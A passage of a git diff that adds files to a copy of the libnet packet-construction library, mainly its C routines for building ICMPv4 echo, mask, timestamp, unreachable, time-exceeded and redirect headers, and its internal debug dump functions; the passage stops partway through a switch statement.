+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\udp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/src/.#libnet_build_icmp.c.1.12 b/libnet/src/.#libnet_build_icmp.c.1.12
new file mode 100644
index 0000000..1590eb7
--- /dev/null
+++ b/libnet/src/.#libnet_build_icmp.c.1.12
@@ -0,0 +1,558 @@
+/*
+ * $Id: libnet_build_icmp.c,v 1.12 2004/02/16 23:13:38 mike Exp $
+ *
+ * libnet
+ * libnet_build_icmp.c - ICMP packet assemblers
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_ECHO_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_ECHO_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_ECHO_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_ECHO_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_ECHO_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_MASK_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_MASK_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_MASK_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+ icmp_hdr.icmp_mask = htonl(mask); /* address mask */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_MASK_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_MASK_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_TS_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_TS_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TS_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+ icmp_hdr.icmp_otime = htonl(otime); /* original timestamp */
+ icmp_hdr.icmp_rtime = htonl(rtime); /* receive timestamp */
+ icmp_hdr.icmp_ttime = htonl(ttime); /* transmit timestamp */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_TS_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_TS_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_ptag_t ipv4;
+ libnet_pblock_t *p, *q;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ p = NULL;
+ /* payload refers to the payload in the original IP header */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Build the original IPv4 header in its own pblock. We stick the
+ * payload here.
+ */
+ ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl,
+ orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0);
+
+ if (ipv4 == -1)
+ {
+ /* error set elsewhere */
+ return (-1);
+ }
+
+ if (orig_check == 0)
+ {
+ int c = 0;
+ l->aligner = 8 - (l->link_offset % 8);
+ q = libnet_pblock_find(l, ipv4);
+ c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type),
+ q->h_len);
+ if (c == -1)
+ {
+ /* err msg set in libnet_do_checksum() */
+ return (-1);
+ }
+ }
+
+ /*
+ * Now we can build the ICMP part of the packet
+ */
+ n = LIBNET_ICMPV4_UNREACH_H; /* size of memory block */
+ /* hl for checksum */
+ h = LIBNET_ICMPV4_UNREACH_H + LIBNET_IPV4_H + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_UNREACH_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = 0; /* must be 0 */
+ icmp_hdr.icmp_seq = 0; /* must be 0 */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr,
+ LIBNET_ICMPV4_UNREACH_H);
+ if (n == -1)
+ {
+ /* error set elsewhere */
+ goto bad;
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_UNREACH_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag,
+u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check,
+u_int32_t orig_src, u_int32_t orig_dst, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_ptag_t ipv4;
+ libnet_pblock_t *p, *q;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ p = NULL;
+ /* payload refers to the payload in the original IP header */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Build the original IPv4 header in its own pblock. We stick the
+ * payload here.
+ */
+ ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl,
+ orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0);
+
+ if (ipv4 == -1)
+ {
+ /* error set elsewhere */
+ return (-1);
+ }
+
+ if (orig_check == 0)
+ {
+ int c = 0;
+ l->aligner = 8 - (l->link_offset % 8);
+ q = libnet_pblock_find(l, ipv4);
+ c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type),
+ q->h_len);
+ if (c == -1)
+ {
+ /* err msg set in libnet_do_checksum() */
+ return (-1);
+ }
+ }
+
+ /* size of memory block */
+ n = LIBNET_ICMPV4_TIMXCEED_H;
+ /* hl for checksum */
+ h = LIBNET_ICMPV4_TIMXCEED_H + LIBNET_IPV4_H + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = 0; /* must be 0 */
+ icmp_hdr.icmp_seq = 0; /* must be 0 */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr,
+ LIBNET_ICMPV4_TIMXCEED_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_TIMXCEED_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id,
+u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot,
+u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+
+{
+ u_int32_t n, h;
+ libnet_ptag_t ipv4;
+ libnet_pblock_t *p, *q;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ p = NULL;
+ /* payload refers to the payload in the original IP header */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Build the original IPv4 header in its own pblock. We stick the
+ * payload here.
+ */
+ ipv4 = libnet_build_ipv4(orig_len, orig_tos, orig_id, orig_frag, orig_ttl,
+ orig_prot, orig_check, orig_src, orig_dst, payload, payload_s, l, 0);
+
+ if (ipv4 == -1)
+ {
+ /* error set elsewhere */
+ return (-1);
+ }
+
+ if (orig_check == 0)
+ {
+ int c = 0;
+ l->aligner = 8 - (l->link_offset % 8);
+ q = libnet_pblock_find(l, ipv4);
+ c = libnet_do_checksum(l, q->buf, libnet_pblock_p2p(q->type),
+ q->h_len);
+ if (c == -1)
+ {
+ /* err msg set in libnet_do_checksum() */
+ return (-1);
+ }
+ }
+
+ n = LIBNET_ICMPV4_REDIRECT_H; /* size of memory block */
+ /* hl for checksum */
+ h = LIBNET_ICMPV4_REDIRECT_H + LIBNET_IPV4_H + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_REDIRECT_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.hun.gateway = gateway;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr,
+ LIBNET_ICMPV4_REDIRECT_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_REDIRECT_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/.#libnet_internal.c.1.10 b/libnet/src/.#libnet_internal.c.1.10
new file mode 100644
index 0000000..e443c63
--- /dev/null
+++ b/libnet/src/.#libnet_internal.c.1.10
@@ -0,0 +1,308 @@
+/*
+ * $Id: libnet_internal.c,v 1.10 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_internal.c - secret routines!
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+void
+__libnet_dump_hex(u_int8_t *packet, u_int32_t len, int swap, FILE *stream)
+{
+ int i, s_cnt;
+ u_int16_t *p;
+
+ p = (u_int16_t *)packet;
+ s_cnt = len / sizeof(u_int16_t);
+
+ fprintf(stream, "\t");
+ for (i = 0; --s_cnt >= 0; i++)
+ {
+ if ((!(i % 8)))
+ {
+ fprintf(stream, "\n%02x\t", (i * 2));
+ }
+ fprintf(stream, "%04x ", swap ? ntohs(*(p++)) : *(p++));
+ }
+
+ /*
+ * Mop up an odd byte.
+ */
+ if (len & 1)
+ {
+ if ((!(i % 8)))
+ {
+ fprintf(stream, "\n%02x\t", (i * 2));
+ }
+ fprintf(stream, "%02x ", *(u_int8_t *)p);
+ }
+ fprintf(stream, "\n");
+}
+
+
+void
+__libnet_dump_context(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return;
+ }
+
+ fprintf(stderr, "fd:\t\t%d\n", l->fd);
+
+ switch (l->injection_type)
+ {
+ case LIBNET_LINK:
+ fprintf(stderr, "injection type:\tLIBNET_LINK\n");
+ break;
+ case LIBNET_RAW4:
+ fprintf(stderr, "injection type:\tLIBNET_RAW4\n");
+ break;
+ case LIBNET_RAW6:
+ fprintf(stderr, "injection type:\tLIBNET_RAW6\n");
+ break;
+ case LIBNET_LINK_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_LINK_ADV\n");
+ break;
+ case LIBNET_RAW4_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_RAW4_ADV\n");
+ break;
+ case LIBNET_RAW6_ADV:
+ fprintf(stderr, "injection type:\tLIBNET_RAW6_ADV\n");
+ break;
+ default:
+ fprintf(stderr, "injection type:\tinvalid injection type %d\n",
+ l->injection_type);
+ break;
+ }
+
+ fprintf(stderr, "pblock start:\t%p\n", l->protocol_blocks);
+ fprintf(stderr, "pblock end:\t%p\n", l->pblock_end);
+ fprintf(stderr, "link type:\t%d\n", l->link_type);
+ fprintf(stderr, "link offset:\t%d\n", l->link_offset);
+ fprintf(stderr, "aligner:\t%d\n", l->aligner);
+ fprintf(stderr, "device:\t\t%s\n", l->device);
+ fprintf(stderr, "packets sent:\t%lld\n", l->stats.packets_sent);
+ fprintf(stderr, "packet errors:\t%lld\n", l->stats.packet_errors);
+ fprintf(stderr, "bytes written:\t%lld\n", l->stats.bytes_written);
+ fprintf(stderr, "ptag state:\t%d\n", l->ptag_state);
+ fprintf(stderr, "context label:\t%s\n", l->label);
+ fprintf(stderr, "last errbuf:\t%s\n", l->err_buf);
+ fprintf(stderr, "total size:\t%d\n", l->total_size);
+}
+
+void
+__libnet_dump_pblock(libnet_t *l)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+
+ for (p = l->protocol_blocks; p; p = p->next)
+ {
+ fprintf(stderr, "pblock type:\t%s\n",
+ __libnet_dump_pblock_type(p->type));
+ fprintf(stderr, "ptag number:\t%d\n", p->ptag);
+ fprintf(stderr, "pblock address:\t%p\n", p);
+ fprintf(stderr, "next pblock\t%p ", p->next);
+ if (p->next)
+ {
+ fprintf(stderr, "(%s)", __libnet_dump_pblock_type(p->next->type));
+ }
+ fprintf(stderr, "\n");
+ fprintf(stderr, "prev pblock\t%p ", p->prev);
+ if (p->prev)
+ {
+ fprintf(stderr, "(%s)", __libnet_dump_pblock_type(p->prev->type));
+ }
+ fprintf(stderr, "\n");
+ fprintf(stderr, "buf:\t\t");
+ for (n = 0; n < p->b_len; n++)
+ {
+ fprintf(stderr, "%02x", p->buf[n]);
+ }
+ fprintf(stderr, "\nbuffer length:\t%d\n", p->b_len);
+ if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM)
+ {
+ fprintf(stderr, "checksum flag:\tYes\n");
+ fprintf(stderr, "chksum length:\t%d\n", p->h_len);
+ }
+ else
+ {
+ fprintf(stderr, "checksum flag:\tNo\n");
+ }
+ fprintf(stderr, "bytes copied:\t%d\n\n", p->copied);
+ }
+}
+
+int8_t *
+__libnet_dump_pblock_type(u_int8_t type)
+{
+ static int8_t buf[50];
+ switch (type)
+ {
+ case LIBNET_PBLOCK_ARP_H:
+ return ("arp header");
+ case LIBNET_PBLOCK_DHCPV4_H:
+ return ("dhcpv4 header");
+ case LIBNET_PBLOCK_DNSV4_H:
+ return ("dnsv4 header");
+ case LIBNET_PBLOCK_ETH_H:
+ return ("ethernet header");
+ case LIBNET_PBLOCK_ICMPV4_H:
+ return ("icmpv4 header");
+ case LIBNET_PBLOCK_ICMPV4_ECHO_H:
+ return ("icmpv4 echo header");
+ case LIBNET_PBLOCK_ICMPV4_MASK_H:
+ return ("icmpv4 mask header");
+ case LIBNET_PBLOCK_ICMPV4_UNREACH_H:
+ return ("icmpv4 unreachable header");
+ case LIBNET_PBLOCK_ICMPV4_TIMXCEED_H:
+ return ("icmpv4 time exceeded header");
+ case LIBNET_PBLOCK_ICMPV4_REDIRECT_H:
+ return ("icmpv4 redirect header");
+ case LIBNET_PBLOCK_ICMPV4_TS_H:
+ return ("icmpv4 timestamp header");
+ case LIBNET_PBLOCK_IGMP_H:
+ return ("igmp header");
+ case LIBNET_PBLOCK_IPV4_H:
+ return ("ipv4 header");
+ case LIBNET_PBLOCK_IPO_H:
+ return ("ip options header");
+ case LIBNET_PBLOCK_IPDATA:
+ return ("ip data");
+ case LIBNET_PBLOCK_OSPF_H:
+ return ("ospf header");
+ case LIBNET_PBLOCK_OSPF_HELLO_H:
+ return ("ospf hello header");
+ case LIBNET_PBLOCK_OSPF_DBD_H:
+ return ("ospf dbd header");
+ case LIBNET_PBLOCK_OSPF_LSR_H:
+ return ("ospf lsr header");
+ case LIBNET_PBLOCK_OSPF_LSU_H:
+ return ("ospf lsu header");
+ case LIBNET_PBLOCK_OSPF_LSA_H:
+ return ("ospf lsa header");
+ case LIBNET_PBLOCK_OSPF_AUTH_H:
+ return ("ospf authentication header");
+ case LIBNET_PBLOCK_OSPF_CKSUM:
+ return ("ospf checksum");
+ case LIBNET_PBLOCK_LS_RTR_H:
+ return ("ospf ls rtr header");
+ case LIBNET_PBLOCK_LS_NET_H:
+ return ("ospf ls net header");
+ case LIBNET_PBLOCK_LS_SUM_H:
+ return ("ospf ls sum header");
+ case LIBNET_PBLOCK_LS_AS_EXT_H:
+ return ("ospf ls as extension header");
+ case LIBNET_PBLOCK_NTP_H:
+ return ("ntp header");
+ case LIBNET_PBLOCK_RIP_H:
+ return ("rip header");
+ case LIBNET_PBLOCK_TCP_H:
+ return ("tcp header");
+ case LIBNET_PBLOCK_TCPO_H:
+ return ("tcp options header");
+ case LIBNET_PBLOCK_TCPDATA:
+ return ("tcp data");
+ case LIBNET_PBLOCK_UDP_H:
+ return ("udp header");
+ case LIBNET_PBLOCK_VRRP_H:
+ return ("vrrp header");
+ case LIBNET_PBLOCK_DATA_H:
+ return ("data");
+ case LIBNET_PBLOCK_CDP_H:
+ return ("cdp header");
+ case LIBNET_PBLOCK_IPSEC_ESP_HDR_H:
+ return ("ipsec esp header");
+ case LIBNET_PBLOCK_IPSEC_ESP_FTR_H:
+ return ("ipsec esp footer");
+ case LIBNET_PBLOCK_IPSEC_AH_H:
+ return ("ipsec authentication header");
+ case LIBNET_PBLOCK_802_1Q_H:
+ return ("802.1q header");
+ case LIBNET_PBLOCK_802_2_H:
+ return ("802.2 header");
+ case LIBNET_PBLOCK_802_2SNAP_H:
+ return ("802.2SNAP header");
+ case LIBNET_PBLOCK_802_3_H:
+ return ("802.3 header");
+ case LIBNET_PBLOCK_STP_CONF_H:
+ return ("stp configuration header");
+ case LIBNET_PBLOCK_STP_TCN_H:
+ return ("stp tcn header");
+ case LIBNET_PBLOCK_ISL_H:
+ return ("isl header");
+ case LIBNET_PBLOCK_IPV6_H:
+ return ("ipv6 header");
+ case LIBNET_PBLOCK_802_1X_H:
+ return ("802.1x header");
+ case LIBNET_PBLOCK_RPC_CALL_H:
+ return ("rpc call header");
+ case LIBNET_PBLOCK_MPLS_H:
+ return ("mlps header");
+ case LIBNET_PBLOCK_FDDI_H:
+ return ("fddi header");
+ case LIBNET_PBLOCK_TOKEN_RING_H:
+ return ("token ring header");
+ case LIBNET_PBLOCK_BGP4_HEADER_H:
+ return ("bgp header");
+ case LIBNET_PBLOCK_BGP4_OPEN_H:
+ return ("bgp open header");
+ case LIBNET_PBLOCK_BGP4_UPDATE_H:
+ return ("bgp update header");
+ case LIBNET_PBLOCK_BGP4_NOTIFICATION_H:
+ return ("bgp notification header");
+ case LIBNET_PBLOCK_GRE_H:
+ return ("gre header");
